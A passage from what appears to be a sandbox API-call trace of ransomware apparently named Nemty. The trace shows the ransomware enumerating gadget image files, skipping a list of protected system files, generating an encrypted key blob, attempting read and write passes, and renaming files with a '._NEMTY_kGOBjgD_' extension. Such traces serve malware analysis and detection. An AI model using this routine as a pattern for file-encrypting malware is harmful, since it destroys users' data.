cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0139.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0139.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0139.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0139.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0139.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0139.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0139.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0139.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0139.369] Sleep (dwMilliseconds=0x5) [0139.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6b9e250, dwHighDateTime=0x1d561e8)) [0139.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6b9e250, dwHighDateTime=0x1d561e8)) [0139.384] GetLastError () returned 0x5 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.384] GetLastError () returned 0x5 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.384] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.384] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.384] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0139.384] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="ICF3iFMx3rO+lxWlKJuwO5r4Z9XeVMAuQ8AfnNMu68httrzNXvWqlnNs8G3C2ec5\r\nc0FdRO31zF/IJWqggXNa+qGpd8wBPe6i8mCqNijb39S+fFRWchBnjF5DQrhkHIhs\r\nEvayagVvTpwiI0/1AzAQtoedPYl9C9sd2eGAlOISkqZcAUibQzahfZcld/i0hB4+\r\n8mPjZwCt82dS1lut5h79sugAZWAQSV/ZwdfgWXcavxSLehMdH635xUC8jdT3/Fuu\r\nQVTVVFsCoqQbrHQscs/LeoUWt/T+690jZ8fOyrrP26YicfLk+vOXxQ1B473bovXz\r\nQYG6rPveW/TaihUhE3bBdA==\r\n", pcchString=0x653e91c) returned 1 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0139.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0139.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.384] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.385] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.394] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0139.491] CloseHandle (hObject=0xffffffff) returned 0 [0139.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0139.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0139.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0139.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0139.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0139.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0139.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png._nemty_kgobjgd_")) returned 0 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.492] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="..") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="...") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="windows") returned -1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="$RECYCLE.BIN") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="rsa") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="NTDETECT.COM") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="ntldr") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="MSDOS.SYS") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="IO.SYS") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="boot.ini") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="boot.ini") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="AUTOEXEC.BAT") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="ntuser.dat") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="desktop.ini") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="CONFIG.SYS") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="RECYCLER") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="BOOTSECT.BAK") returned 1 [0139.492] lstrcmpiW (lpString1="settings_box_top.png", lpString2="bootmgr") returned 1 [0139.493] lstrcmpiW (lpString1="settings_box_top.png", lpString2="programdata") returned 1 [0139.493] lstrcmpiW (lpString1="settings_box_top.png", lpString2="appdata") returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", 